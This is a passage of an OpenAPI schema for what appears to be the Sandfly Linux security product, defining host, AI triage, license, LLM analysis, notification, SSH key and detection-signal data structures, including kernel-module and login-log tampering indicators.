architecture."},"os_info_machine":{"type":"string","description":"OS machine."},"os_info_node":{"type":"string","description":"OS node."},"os_info_os_release_id":{"type":"string","description":"OS release ID."},"os_info_os_release_name":{"type":"string","description":"OS release name."},"os_info_os_release_version":{"type":"string","description":"OS release version."},"os_info_os_release_pretty_name":{"type":"string","description":"Human friendly OS release name."},"os_info_os_release_version_codename":{"type":"string","description":"OS release version codename."},"os_info_release":{"type":"string","description":"OS release."},"os_info_uptime_date":{"type":"string","description":"OS uptime date."},"os_info_uptime_days":{"type":"integer","description":"OS uptime days."},"os_performance_cpu_fifteen_min":{"type":"number","description":"OS performance CPU fifteen min."},"os_performance_cpu_fifteen_min_core_adjusted":{"type":"number","description":"OS performance CPU fifteen min core adjusted."},"os_performance_cpu_five_min":{"type":"number","description":"OS performance CPU five min."},"os_performance_cpu_five_min_core_adjusted":{"type":"number","description":"OS performance CPU five min core adjusted."},"os_performance_cpu_one_min":{"type":"number","description":"OS performance CPU one min."},"os_performance_cpu_one_min_core_adjusted":{"type":"number","description":"OS performance CPU one min core adjusted."},"override_directory":{"type":"string","description":"Directory to run scan from instead of the node configuration values."},"queue_name":{"type":"string","description":"Queue name."},"run_id":{"type":"string","description":"Unique Run ID used to get this information."},"ssh_key_fingerprint":{"type":"string","description":"SSH fingerprint of remote host.","nullable":true},"tags":{"type":"array","description":"A list of tags for this host.","items":{"type":"string"}},"version":{"type":"integer","description":"Version type for this record.","format":"int32"},"verify_host_key":{"type":"boolean","description":"Verify host key.","default":false},"results_alert":{"type":"integer","description":"Total alert results on this host.","minimum":0},"alert_artifacts":{"type":"integer","description":"Number of current alerting artifacts on this host. An artifact that more than one sandfly alerted on counts once, where `results_alert` counts each sandfly's alert.","minimum":0},"results_error":{"type":"integer","description":"Total error results on this host.","minimum":0},"results_pass":{"type":"integer","description":"Total pass results on this host.","minimum":0},"results_total":{"type":"integer","description":"Total results on this host.","minimum":0},"severity":{"type":"integer","description":"The host's severity, 0-5. When AI triage has analyzed the host, the analysis sets the severity. Otherwise it's the highest severity among the host's alerting artifacts or 0 when nothing is alerting.","minimum":0,"maximum":5},"triage_verdict":{"type":"string","description":"The host's AI triage verdict: one of the six verdicts (the last one formed for the host, kept while a new one is queued or after a later attempt fails), `pending` for a host waiting for its first verdict, `error` for a host whose only attempt at a verdict failed, `excluded` for a host whose tags keep it out of automatic AI triage and which nobody has asked for a verdict on, or `none` for a host with no record and nothing queued.","enum":["clean","likely_false_positive","needs_attention","suspicious","likely_malicious","likely_compromised","pending","error","excluded","none"]},"triage_stale":{"type":"boolean","description":"Whether the host's AI triage verdict is stale: true when a host materially changes and there isn't a new analysis yet. False for a host with no verdict. Not set by an operator's revert, which changes what the host reports rather than what is alerting on it."},"triage_queue_state":{"$ref":"#/components/schemas/HostTriageQueueState"}}},"HostTriageQueueState":{"title":"HostTriageQueueState","type":"string","description":"Where the host stands on the AI triage queue, independent of its verdict. The interval and daily-limit holds apply to automatic triage only, and manually requesting triage for the host clears any hold.","enum":["none","queued","running","held_interval","held_daily_limit","held_retry","held_shared"],"x-enumLabels":{"none":"Not queued","queued":"Triage queued","running":"Triage running","held_interval":"Triage cooldown","held_daily_limit":"Daily limit","held_retry":"Triage retrying","held_shared":"Shared verdict"},"x-enumDescriptions":{"none":"Not on the triage queue.","queued":"Waiting its turn on the triage queue, and picked up as soon as a worker is free.","running":"A verdict is being formed now.","held_interval":"Waiting out the minimum interval between verdicts for this host.","held_daily_limit":"The day's submission limit is reached. Resumes when the next UTC day begins.","held_retry":"The last attempt failed or was rate limited; it will be tried again shortly.","held_shared":"Waiting on a verdict being formed for another host in the same situation, which this host will reuse."}},"HostSummaryRollup":{"allOf":[{"$ref":"#/components/schemas/HostSummary"},{"$ref":"#/components/schemas/SshHostSummarySSHInfo"}]},"HostSummaryRollups":{"type":"array","items":{"$ref":"#/components/schemas/HostSummaryRollup"},"description":"Array of host summary rollups."},"HostSnapshot":{"type":"object","required":["report_time","host_counts","uptime_stats","distros","kernels","architectures","missing_hosts","credential","uptimes","host_tags"],"properties":{"report_time":{"type":"string","format":"date-time","description":"Time when report was generated."},"host_counts":{"type":"object","required":["active","missing","inactive"],"properties":{"active":{"type":"integer","description":"Current number of active hosts."},"missing":{"type":"integer","description":"Current number of missing hosts."},"inactive":{"type":"integer","description":"Current number of inactive hosts."}}},"uptime_stats":{"type":"object","description":"Host uptime statistics.","required":["min","q1","median","q3","max"],"properties":{"min":{"type":"number","description":"Lowest uptime of all hosts in Sandfly."},"q1":{"type":"number","description":"1st quartile uptime of all hosts in Sandfly."},"median":{"type":"number","description":"Median uptime of all hosts in Sandfly."},"q3":{"type":"number","description":"3rd quartile uptime of all hosts in Sandfly."},"max":{"type":"number","description":"Maximum uptime of all hosts in Sandfly."}}},"distros":{"type":"array","items":{"type":"object","required":["name","count"],"description":"List of Linux distributions used by hosts in Sandfly.","properties":{"name":{"type":"string","description":"Linux distribution name."},"count":{"type":"integer","description":"Number of hosts using this distribution."}}}},"kernels":{"type":"array","items":{"type":"object","required":["name","count"],"description":"List of Linux kernel versions used by hosts in Sandfly.","properties":{"name":{"type":"string","description":"Linux kernel version string."},"count":{"type":"integer","description":"Number of hosts using this kernel."}}}},"architectures":{"type":"array","items":{"type":"object","required":["name","count"],"description":"List of processor architectures used by hosts in Sandfly.","properties":{"name":{"type":"string","description":"Architecture name."},"count":{"type":"integer","description":"Number of hosts with this architecture."}}}},"missing_hosts":{"type":"array","description":"Hosts known to Sandfly that have not had a successful scan recently.","items":{"type":"object","required":["host_id","host_sequence_id","last_seen","target_address","node_name","last_seen_ip","kernel","distro","tags","uptime_days"],"properties":{"host_id":{"type":"string","description":"Host ID."},"host_sequence_id":{"type":"integer","description":"Database-assigned host sequence number."},"last_seen":{"type":"string","description":"Date this host was last seen."},"target_address":{"type":"string","description":"Address of target host."},"node_name":{"type":"string","description":"OS-reported hostname."},"last_seen_ip":{"type":"string","description":"Last IP address used to connect to host, if known."},"kernel":{"type":"string","description":"Host kernel version string."},"distro":{"type":"string","description":"Host distribution name."},"tags":{"type":"array","items":{"type":"string"},"description":"Host tags."},"uptime_days":{"type":"integer","description":"Host uptime, in days."}}}},"credential":{"type":"array","description":"Credentials used to connect to hosts.","items":{"type":"object","required":["name","count"],"properties":{"name":{"type":"string","description":"Credential name."},"count":{"type":"integer","description":"Number of hosts in Sandfly configured to use this credential."}}}},"uptimes":{"type":"array","items":{"type":"object","required":["host_id","host_sequence_id","last_seen","target_address","node_name","last_seen_ip","kernel","distro","tags","uptime_days"],"properties":{"host_id":{"type":"string","description":"Host ID."},"host_sequence_id":{"type":"integer","description":"Database-assigned host sequence number."},"last_seen":{"type":"string","description":"Date this host was last seen."},"target_address":{"type":"string","description":"Address of target host."},"node_name":{"type":"string","description":"OS-reported hostname."},"last_seen_ip":{"type":"string","description":"Last IP address used to connect to host, if known."},"kernel":{"type":"string","description":"Host kernel version string."},"distro":{"type":"string","description":"Host distribution name."},"tags":{"type":"array","items":{"type":"string"},"description":"Host tags."},"uptime_days":{"type":"integer","description":"Host uptime, in days."}}}},"host_tags":{"type":"array","description":"Host tags","items":{"type":"object","required":["name","count"],"properties":{"name":{"type":"string","description":"Tag name"},"count":{"type":"integer","description":"Number of hosts with this tag."}}}}}},"HostTags":{"items":{"type":"string"},"type":"array","default":[],"example":["my_custom_host_tag"]},"HostUpdate":{"properties":{"credentials_id":{"description":"Credential ID to use with this host.","nullable":true,"type":"string"},"jump_hosts":{"description":"Jump hosts to update on host.","items":{"type":"string"},"nullable":true,"type":"array"},"override_directory":{"description":"Directory to run scan from instead of the node configuration values. An empty string means no override, and \"~\" means the directory the scan user logs in to. Any other value must be an absolute path of at most 512 characters, using only letters, digits, space, and . _ - + , @ % : = ~ /","type":"string","nullable":true},"ssh_port":{"description":"SSH port to use with host.","format":"int32","nullable":true,"type":"integer"},"queue_name":{"description":"Queue (node) name to use to connect to this host.","type":"string","nullable":true},"tags":{"description":"Tags to update on host.","$ref":"#/components/schemas/HostTags","nullable":true},"verify_host_key":{"description":"If true, the SSH key of the host will be recorded during the Host Add operation, then on future scans Sandfly will not authenticate to the host if the host key changes.","type":"boolean","nullable":true}},"type":"object"},"JumpHost":{"required":["id","name","hostname","ssh_port","credentials_id"],"properties":{"credentials_id":{"description":"credentials_id name to use to authenticate to this jump host.","type":"string"},"hostname":{"description":"Jump host hostname.","type":"string"},"ssh_port":{"description":"SSH port to use for this jump host.","format":"int32","type":"integer"},"name":{"description":"Unique identifier.","type":"string"},"id":{"description":"Alias for name.","type":"string","deprecated":false}},"type":"object"},"JumpHostAdd":{"properties":{"credentials_id":{"description":"credentials_id name to use to authenticate to this jump host.","type":"string"},"hostname":{"description":"Jump host hostname.","type":"string"},"ssh_port":{"description":"SSH port to use for this jump_host.","format":"int32","type":"integer"}},"type":"object"},"JumpHostsDelete":{"properties":{"jump_hosts":{"description":"List of jump_hosts to delete.","items":{"type":"string"},"type":"array"}},"type":"object"},"JumpHostUpdate":{"properties":{"credentials_id":{"description":"credentials_id name to use to authenticate to this jump host.","type":"string"},"hostname":{"description":"Jump host hostname.","type":"string"},"ssh_port":{"description":"SSH port to use for this jump host.","format":"int32","type":"integer"}},"type":"object"},"JWT":{"description":"JWT token","properties":{"exp":{"description":"Expiration time of the token.","format":"int64","type":"integer"},"sxp":{"description":"Expiration time of the session.","format":"int64","type":"integer"},"fresh":{"description":"Is the token fresh?","type":"boolean"},"iat":{"description":"Issued at time of the token.","format":"int64","type":"integer"},"jti":{"description":"JWT ID.","type":"string"},"nbf":{"description":"Not before time of the token.","format":"int64","type":"integer"},"sub":{"description":"Subject of the token.","type":"string"},"type":{"description":"Type of the token.","type":"string"}},"type":"object"},"KernelModuleSignal":{"type":"string","title":"KernelModuleSignal","description":"Findings from a loaded kernel module.","enum":["hidden-module","vmalloc-inference","no-file-on-disk","taint-bit-missing","mid-transition","unknown-taint"],"x-enumDescriptions":{"hidden-module":"The module is loaded but hides itself from the system's module list, the defining behavior of a kernel rootkit.","vmalloc-inference":"A possible module seen only indirectly in kernel memory. Weaker evidence than a hidden module.","no-file-on-disk":"The module is loaded but no file for it exists on disk.","taint-bit-missing":"The kernel is not recording this module the way it should, which can mean the kernel itself was altered.","mid-transition":"The module was loading or unloading during the scan.","unknown-taint":"The module carries an unrecognized kernel taint flag."},"x-enumSeverities":{"hidden-module":5,"vmalloc-inference":2,"no-file-on-disk":5,"taint-bit-missing":5,"mid-transition":2,"unknown-taint":5}},"License":{"readOnly":true,"properties":{"customer":{"properties":{"id":{"description":"Customer id.","example":"id-customer-example","type":"string"},"email":{"description":"Customer email.","example":"bob@example.com","type":"string","format":"email"},"name":{"description":"Customer name.","example":"Bob Smith","type":"string"},"website":{"description":"Customer website.","example":"https://example.com","type":"string"}},"required":["name","email","website"],"type":"object"},"date":{"properties":{"expiry":{"description":"License expiration date.","type":"string"},"issued":{"description":"License issue date.","type":"string"},"warning":{"description":"License warning date.","type":"string"}},"required":["expiry","issued","warning"],"type":"object"},"license_level":{"$ref":"#/components/schemas/LicenseLevel"},"limits":{"allOf":[{"$ref":"#/components/schemas/LicenseLimits"}],"properties":{"features":{"items":{"$ref":"#/components/schemas/LicenseFeatures"},"type":"array"}},"required":["features"],"type":"object"},"subscription":{"type":"object","required":["renewing"],"properties":{"manage_url":{"type":"string","format":"uri","description":"If present, a URL for the user to visit to manage this subscription or get additional information."},"renewing":{"type":"boolean","description":"Indicates if this subscription is currently set to automatically renew at the end of the current term."},"term_end":{"type":"string","format":"date-time","description":"If present, the time the current subscription term ends. If the subscription is renewing, this is when the next subscription period will be billed; if not renewing, this is when the license will expire."},"message":{"type":"string","description":"If present and non-empty, any messages that should be displayed to users about the status of the Sandfly subscription."}}},"usage":{"allOf":[{"$ref":"#/components/schemas/LicenseLimits"}],"type":"object"},"version":{"description":"License version.","type":"integer"},"online":{"description":"True is this is an online license entitlement.","type":"boolean"},"online_warning":{"description":"Indicates if there is a message in online_status that should be brought to the user's attention.","type":"boolean"},"online_status":{"description":"If an online license, a text status message describing the current state of the license. Will be an empty string if not an online license.","type":"string"}},"required":["customer","date","license_level","limits","usage","version","online","online_warning","online_status"],"type":"object"},"LicenseLevel":{"description":"License level.","example":8,"type":"integer","enum":[0,1,4,8]},"LicenseAdd":{"properties":{"license_key":{"description":"License base64 encoded.","type":"string"}},"type":"object"},"LicenseFeatures":{"type":"string","enum":["ad_hoc_scan","custom_sandflies","elasticsearch_replication","host_tags","sandfly_auto_response","siem_sentinel","splunk_connector","ssh_hunter","sso","threat_feed","user_roles"]},"LicenseLimits":{"properties":{"alerts":{"description":"Number of alerts allowed.","example":100,"type":"integer"},"data_retention_max_hours":{"description":"Maximum number of hours of data retention.","example":72,"type":"integer"},"email_notifications":{"description":"Number of email notifications allowed.","example":1,"type":"integer"},"hosts":{"description":"Number of hosts allowed.","example":100,"type":"integer"},"jump_hosts":{"description":"Number of jump hosts allowed.","example":100,"type":"integer"},"named_queues":{"description":"Number of named queues allowed.","example":100,"type":"integer"},"notifications":{"description":"Number of notification event configurations allowed.","example":100,"type":"integer"},"schedules":{"description":"Number of schedules allowed.","example":100,"type":"integer"},"syslog_notifications":{"description":"Number of syslog notifications allowed.","example":1,"type":"integer"},"users":{"description":"Number of users allowed.","example":100,"type":"integer"}},"required":["alerts","data_retention_max_hours","email_notifications","hosts","jump_hosts","named_queues","notifications","queues","reports","rules","scheduled_reports","scheduled_rules","users"],"type":"object"},"LicenseUpdate":{"properties":{"license_key":{"description":"License base64 encoded.","type":"string"}},"type":"object"},"LinkedCredential":{"required":["credentials_id"],"properties":{"credentials_id":{"type":"string","example":"my_credential_id"}},"type":"object"},"LinkedJumpHosts":{"description":"List of jump hosts, in order of connection.","items":{"type":"string"},"example":["my_jump_host_name"],"type":"array"},"LlmAnalysisAdd":{"description":"Request to begin a new LLM analysis of a host or results.","type":"object","properties":{"mode":{"description":"The analysis mode. Determines which other fields are required.","$ref":"#/components/schemas/LlmAnalysisMode"},"host_sequence_id":{"type":"integer","description":"The host sequence ID. Required if mode is 'host', ignored otherwise."},"result_ids":{"deprecated":true,"type":"array","items":{"type":"integer","format":"int64"},"description":"Deprecated in favor of artifact_ids. A list of result IDs. At least one result ID or artifact ID is required if mode is 'results', ignored otherwise. Each result is analyzed as the artifact it is about, together with the verdicts of every other sandfly currently reporting on that artifact. Results about the same artifact are analyzed together."},"artifact_ids":{"type":"array","items":{"type":"integer","format":"int64"},"description":"A list of artifact IDs, as the artifact API reports them. At least one result ID or artifact ID is required if mode is 'results', ignored otherwise. Each artifact is analyzed together with the verdicts of every sandfly currently reporting on it. An artifact is analyzed once even if it is also named through one of the result_ids. For each artifact named here but not through a result, the analysis lists one of the artifact's results among its results."}},"required":["mode"]},"LlmAnalysisChatAdd":{"description":"Chat message to add to an existing LLM analysis.","type":"object","properties":{"text":{"type":"string","description":"The user chat message."}},"required":["text"]},"LlmAnalysisState":{"type":"string","enum":["pending","pending_followup","ready","error"],"description":"Represents the state of an LLM analysis. New analysis requests begin in the 'pending' state, which should then transition to either 'ready' or 'error' after the model response is received. If a user adds an additional question to the chat, the state will be 'pending-followup', followed again by 'ready' or 'error'."},"LlmAnalysisMode":{"type":"string","enum":["host","results"],"description":"Represents the mode of an LLM analysis. 'host' indicates the analysis was started on a host; 'results' indicates the analysis was started on one or more results and/or artifacts."},"LlmChatEntryRole":{"type":"string","enum":["user","model","error"],"description":"Indicates the source of a chat entry. Follow-up user-entered chat is 'user', model responses are 'model', and error messages are 'error'."},"LlmChatEntry":{"type":"object","properties":{"timestamp":{"type":"string","format":"date-time","description":"Timestamp of the chat entry."},"role":{"$ref":"#/components/schemas/LlmChatEntryRole"},"userid":{"type":"string","description":"User ID (Sandfly login) associated with the chat entry. Blank for errors and model responses."},"username":{"type":"string","description":"User full name associated with the chat entry. Blank for errors and model responses."},"text":{"type":"string","description":"The text content of the chat entry. Should be Markdown format."}},"required":["timestamp","role","text"]},"LlmAnalysisResult":{"type":"object","description":"A result associated with an LLM analysis.","properties":{"result_id":{"type":"integer","format":"int64","description":"Result ID."},"sandfly":{"type":"string","description":"Name of the Sandfly for this result. May be '[deleted]' if the result no longer exists."},"status":{"description":"Status of the result. May be '[deleted]' if the result no longer exists.","oneOf":[{"$ref":"#/components/schemas/ResultStatus"}]},"key_data":{"type":"string","description":"Key data element of the result. May be '[deleted]' if the result no longer exists."},"sandfly_engine":{"description":"Engine of the sandfly for the result. May be '[deleted]' if the result no longer exists.","$ref":"#/components/schemas/SandflyEngineType"},"sandfly_tags":{"type":"array","items":{"type":"string"},"description":"Tags of the sandfly for this result."},"seen_count":{"type":"integer","description":"Seen count for result. Will be 0 if result is deleted."},"superseded":{"type":"boolean","description":"Superseded flag for result. Will always be true if result is deleted."},"first_seen":{"type":"string","description":"First seen timestamp of result. May be '[deleted]' if the result no longer exists."},"last_seen":{"type":"string","description":"Last seen timestamp of result. May be '[deleted]' if the result no longer exists."}},"required":["result_id","sandfly","status","key_data","sandfly_engine","sandfly_tags","seen_count","superseded","first_seen","last_seen"]},"LlmAnalysisResultDeleted":{"type":"object","description":"A result associated with an LLM analysis.","properties":{"result_id":{"type":"integer","format":"int64","description":"Result ID."},"sandfly":{"$ref":"#/components/schemas/DeletedData"},"status":{"$ref":"#/components/schemas/DeletedData"},"key_data":{"$ref":"#/components/schemas/DeletedData"},"sandfly_engine":{"$ref":"#/components/schemas/DeletedData"},"sandfly_tags":{"type":"array","items":{"type":"string"}},"seen_count":{"enum":[0]},"superseded":{"enum":[true]},"first_seen":{"$ref":"#/components/schemas/DeletedData"},"last_seen":{"$ref":"#/components/schemas/DeletedData"}},"required":["result_id","sandfly","status","key_data","sandfly_engine","sandfly_tags","seen_count","superseded","first_seen","last_seen"]},"LlmAnalysisArtifact":{"type":"object","description":"An artifact covered by an LLM analysis.","properties":{"artifact_id":{"type":"integer","format":"int64","description":"Artifact ID."},"host_sequence_id":{"type":"integer","description":"Sequence ID of the host the artifact is on."},"engine":{"type":"string","description":"Engine that reported the artifact."},"key_data":{"type":"string","description":"Key data element of the artifact."},"status":{"$ref":"#/components/schemas/ResultStatus"},"severity":{"type":"integer","description":"Severity of the artifact."},"superseded":{"type":"boolean","description":"Superseded flag for the artifact."},"sandflies":{"type":"array","items":{"type":"string"},"description":"Names of the sandflies with a current (not superseded) verdict on the artifact."},"first_seen":{"type":"string","description":"First seen timestamp of the artifact."},"last_seen":{"type":"string","description":"Last seen timestamp of the artifact."}},"required":["artifact_id","host_sequence_id","engine","key_data","status","severity","superseded","sandflies","first_seen","last_seen"]},"LlmAnalysisArtifactDeleted":{"type":"object","description":"An artifact covered by an LLM analysis that no longer exists. Only returned when retrieving a single LLM analysis; the analysis list omits deleted artifacts.","properties":{"artifact_id":{"type":"integer","format":"int64","description":"Artifact ID."},"host_sequence_id":{"enum":[0]},"engine":{"$ref":"#/components/schemas/DeletedData"},"key_data":{"$ref":"#/components/schemas/DeletedData"},"status":{"$ref":"#/components/schemas/DeletedData"},"severity":{"enum":[0]},"superseded":{"enum":[true]},"sandflies":{"type":"array","items":{"type":"string"},"maxItems":0},"first_seen":{"$ref":"#/components/schemas/DeletedData"},"last_seen":{"$ref":"#/components/schemas/DeletedData"}},"required":["artifact_id","host_sequence_id","engine","key_data","status","severity","superseded","sandflies","first_seen","last_seen"]},"LlmAnalysisHost":{"type":"object","description":"A host related to the LLM analysis.","properties":{"host_sequence_id":{"type":"integer","description":"Host sequence ID."},"target_address":{"type":"string","description":"Target address (e.g., IP or hostname) of the host. May be '[deleted]' if the host no longer exists."},"node_name":{"type":"string","description":"OS node name (hostname) of the host. May be '[deleted]' if the result no longer exists."},"os_release_pretty_name":{"type":"string","description":"OS release name."}},"required":["host_sequence_id","target_address","node_name","os_release_pretty_name"]},"LlmAnalysisHostDeleted":{"type":"object","description":"A host related to the LLM analysis.","properties":{"host_sequence_id":{"type":"integer","description":"Host sequence ID."},"target_address":{"$ref":"#/components/schemas/DeletedData"},"node_name":{"$ref":"#/components/schemas/DeletedData"},"os_release_pretty_name":{"$ref":"#/components/schemas/DeletedData"}},"required":["host_sequence_id","target_address","node_name","os_release_pretty_name"]},"LlmRequestLogEntry":{"description":"One request sent to an LLM provider, by AI analysis or AI triage.","type":"object","required":["id","created_at","purpose","manual","requested_by","requested_by_name","provider","model","input_tokens","output_tokens","succeeded","duration_ms","analysis_id","host_sequence_id","artifact_id"],"properties":{"id":{"type":"integer","format":"int64","description":"Unique identifier for the log entry."},"created_at":{"type":"string","format":"date-time","description":"When the request was recorded (UTC)."},"purpose":{"type":"string","enum":["analysis","host_triage","artifact_triage"],"description":"What the request was for."},"manual":{"type":"boolean","description":"Whether a user asked for the request. An analysis is always manual; triage is manual when a user requested it and automatic when a scan did."},"requested_by":{"type":"string","description":"The username of the user who asked for the request, or an empty string when there is none."},"requested_by_name":{"type":"string","description":"The full name of the user who asked for the request. This is their username when they have no full name or the user no longer exists, and an empty string when no user asked for the request."},"provider":{"type":"string","description":"The LLM API service the request was sent to, as configured at the time (for example `Claude` or `OpenAI`)."},"model":{"type":"string","description":"The model the request was sent to."},"input_tokens":{"type":"integer","nullable":true,"description":"Input tokens the provider reported for the request. Null when unknown."},"output_tokens":{"type":"integer","nullable":true,"description":"Output tokens the provider reported for the request. Null when unknown."},"succeeded":{"type":"boolean","description":"Whether the provider returned an answer."},"duration_ms":{"type":"integer","description":"How long the request took, in milliseconds."},"analysis_id":{"type":"integer","nullable":true,"description":"The AI analysis the request was for, or null if it was not for an analysis. The analysis may since have been deleted."},"host_sequence_id":{"type":"integer","nullable":true,"description":"The host the request was about, or null if it was not about a single host. The host may since have been deleted."},"artifact_id":{"type":"integer","format":"int64","nullable":true,"description":"The artifact the request was about, or null if it was not about a single artifact. The artifact may since have been deleted."}}},"LlmUsageReport":{"description":"The AI request log totalled separately for AI analysis and AI triage.","type":"object","required":["analysis","triage"],"properties":{"analysis":{"description":"Requests made by AI analysis: one entry per UTC day, provider and model that had any, newest day first.","type":"array","items":{"$ref":"#/components/schemas/LlmRequestLogSummary"}},"triage":{"description":"Requests made by AI triage, host and artifact triage together: one entry per UTC day, provider and model that had any, newest day first.","type":"array","items":{"$ref":"#/components/schemas/LlmRequestLogSummary"}}}},"LlmRequestLogSummary":{"description":"Totals of the LLM request log for one UTC day, provider and model.","type":"object","required":["day","provider","model","requests","failed","input_tokens","output_tokens","unreported_requests"],"properties":{"day":{"type":"string","format":"date","description":"The UTC calendar day, as YYYY-MM-DD."},"provider":{"type":"string","description":"The LLM API service the requests were sent to."},"model":{"type":"string","description":"The model the requests were sent to."},"requests":{"type":"integer","description":"Number of requests sent."},"failed":{"type":"integer","description":"Number of those requests that did not return an answer."},"input_tokens":{"type":"integer","format":"int64","description":"Total input tokens the provider reported. Requests without a reported count are not included; see `unreported_requests`."},"output_tokens":{"type":"integer","format":"int64","description":"Total output tokens the provider reported. Requests without a reported count are not included; see `unreported_requests`."},"unreported_requests":{"type":"integer","description":"Number of requests missing an input or output token count. When this is non-zero the token totals are lower than what was actually used."}}},"LlmAnalysisSummary":{"type":"object","properties":{"id":{"type":"integer","description":"Unique identifier for the LLM analysis."},"state":{"$ref":"#/components/schemas/LlmAnalysisState"},"mode":{"$ref":"#/components/schemas/LlmAnalysisMode"},"hosts":{"type":"array","items":{"oneOf":[{"$ref":"#/components/schemas/LlmAnalysisHost"},{"$ref":"#/components/schemas/LlmAnalysisHostDeleted"}]},"description":"List of hosts involved in the analysis."},"results":{"type":"array","items":{"oneOf":[{"$ref":"#/components/schemas/LlmAnalysisResult"},{"$ref":"#/components/schemas/LlmAnalysisResultDeleted"}],"discriminator":{"propertyName":"statis","mapping":{"alert":"#/components/schemas/LlmAnalysisResult","error":"#/components/schemas/LlmAnalysisResult","pass":"#/components/schemas/LlmAnalysisResult","[deleted]":"#/components/schemas/LlmAnalysisResultDeleted"}}},"description":"List of results involved in the analysis, if any."},"artifacts":{"type":"array","items":{"oneOf":[{"$ref":"#/components/schemas/LlmAnalysisArtifact"},{"$ref":"#/components/schemas/LlmAnalysisArtifactDeleted"}]},"description":"List of artifacts the analysis covers: those it was requested on, and those of the results it was requested through. Empty for host analyses."},"userid":{"type":"string","description":"User ID (Sandfly login) of the user who initiated the analysis."},"username":{"type":"string","description":"Full name of the user who initiated the analysis."},"brief":{"type":"string","description":"Brief one-sentence summary of LLM analysis, if available. Will be an empty string if the first response is not yet available, or if no brief was found."},"model":{"type":"string","description":"Model name this analysis was started with."},"created_at":{"type":"string","format":"date-time","description":"Timestamp when the analysis was created."},"modified_at":{"type":"string","format":"date-time","description":"Timestamp when the analysis was last modified."}},"required":["id","state","mode","hosts","results","artifacts","userid","username","model","brief","created_at","modified_at"]},"LlmAnalysis":{"allOf":[{"$ref":"#/components/schemas/LlmAnalysisSummary"},{"type":"object","properties":{"chat_entries":{"type":"array","items":{"$ref":"#/components/schemas/LlmChatEntry"},"description":"Chronological list of chat entries related to the analysis."}},"required":["chat_entries"]}]},"LlmLoginInfo":{"type":"object","description":"LLM configuration summary returned during login.","required":["enabled","results_limit","triage_enabled","triage_automatic","triage_available"],"properties":{"enabled":{"type":"boolean","description":"LLM analysis is enabled."},"results_limit":{"type":"integer","description":"Maximum number of artifacts allowed in an LLM analysis request. Results about the same artifact count once."},"triage_enabled":{"type":"boolean","description":"An AI triage configuration is present."},"triage_automatic":{"type":"boolean","description":"Hosts are submitted for AI triage without being asked for."},"triage_available":{"type":"boolean","description":"An operator can request an AI triage verdict at all. True when either AI triage or AI analysis is enabled: a request made by hand runs on the AI analysis connection when triage has no configuration of its own."}}},"LogSignal":{"type":"string","title":"LogSignal","description":"Findings from login and session records.","enum":["failed-login","invalid-record","clock-change","hostname-mismatch","forged-console-record","out-of-order","never-logged-in","live-session"],"x-enumDescriptions":{"failed-login":"A failed login attempt.","invalid-record":"The record could not be decoded, a sign of corruption or tampering.","clock-change":"The system clock was changed, which breaks the timeline of every other record.","hostname-mismatch":"The record has no hostname where a real network address was present.","forged-console-record":"A network address is recorded against a local console login, an impossible combination that means the record was forged.","out-of-order":"Records are out of sequence, a sign the log was edited.","never-logged-in":"The account has never logged in interactively. Normal for service accounts.","live-session":"A session that is active right now."},"x-enumSeverities":{"failed-login":2,"invalid-record":5,"clock-change":5,"hostname-mismatch":2,"forged-console-record":5,"out-of-order":5,"never-logged-in":0,"live-session":0}},"LogSource":{"type":"string","title":"LogSource","description":"Which login log a record came from.","enum":["utmp","wtmp","btmp","lastlog"],"x-enumDescriptions":{"utmp":"A session live right now, read from /var/run/utmp.","wtmp":"Login history, read from /var/log/wtmp.","btmp":"A failed login attempt, read from /var/log/btmp.","lastlog":"The last login recorded for this user, read from /var/log/lastlog."}},"ResponseActionsLoginInfo":{"type":"object","description":"Response actions configuration summary returned during login.","required":["enabled"],"properties":{"enabled":{"type":"boolean","description":"Response actions are enabled on the server."}}},"NotificationSummaries":{"type":"array","description":"Array of Notification Summaries.","items":{"$ref":"#/components/schemas/NotificationSummary"}},"NotificationSummary":{"type":"object","description":"Event notification configuration summary.","properties":{"id":{"type":"integer","readOnly":true,"description":"ID of notification configuration."},"name":{"type":"string","description":"Name of notification configuration."},"event":{"type":"string","description":"Event type for which this notification will fire.","enum":["host_alert_rollup","individual_alert","notification_delivery_error"]},"delivery":{"type":"string","description":"Method used to deliver event notification.","enum":["http_post"]},"hosts_tags_include":{"type":"array","nullable":true,"description":"If present, only events that apply to the hosts that have the tag(s) will be sent by this notification.","items":{"type":"string"}},"hosts_tags_include_operator":{"type":"string","description":"If there are more than one hosts_tags_include tags, this operator controls the matching logic.","enum":["and","or"],"default":"and"},"hosts_tags_exclude":{"type":"array","nullable":true,"description":"If present, events will NOT be sent for any hosts that have these tag(s). Exclude tags have priority over include tags.","items":{"type":"string"}},"hosts_tags_exclude_operator":{"type":"string","description":"If there are more than one hosts_tags_exclude tags, this operator controls the matching logic.","enum":["and","or"],"default":"and"},"paused":{"type":"boolean","description":"Holds the active status of the notification.","default":true}},"required":["name","event","delivery","config","template","hosts_tags_include","hosts_tags_exclude"]},"Notification":{"type":"object","description":"Event notification configuration.","allOf":[{"$ref":"#/components/schemas/NotificationSummary"}],"properties":{"config":{"oneOf":[{"$ref":"#/components/schemas/NotificationPostConfig"}],"discriminator":{"propertyName":"delivery","mapping":{"http_post":"#/components/schemas/NotificationPostConfig"}}},"template":{"type":"string","description":"The Go text/template template to format the notification content."}}},"NotificationPostConfig":{"type":"object","properties":{"url":{"type":"string","description":"The URL to POST the notification to."},"content_type":{"type":"string","description":"The HTTP Content-Type header value to use in the POST request."},"ignore_cert_errors":{"type":"boolean","description":"If true, HTTP certificate errors will be ignored when connecting to the URL.","default":false}}},"NotificationIDs":{"properties":{"notification_ids":{"description":"List of notification_ids.","items":{"type":"integer"},"type":"array"}},"type":"object"},"SshKeyTypes":{"type":"string","description":"OpenSSH key type identifiers","enum":["ssh-ed25519","ssh-dss","ssh-rsa","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com","unknown"]},"SSHBulkTag":{"type":"object","required":["key_tags","key_ids"],"properties":{"key_ids":{"description":"List of key IDs to perform the bulk tagging operation on.","items":{"type":"integer"},"type":"array"},"key_tags":{"description":"List of tags to add to or remove from the keys.","$ref":"#/components/schemas/SshKeyTags"}}},"SshKeyKeyData":{"type":"object","required":["id","friendly_name","key_type","hash","sha256_fingerprint","key_value","created_at","first_seen","last_seen","key_tags","key_bits","key_parse_error"],"properties":{"id":{"type":"integer","description":"Database-assigned SSH key ID."},"friendly_name":{"type":"string","description":"Generated (but globally consistent for this key) friendly name for 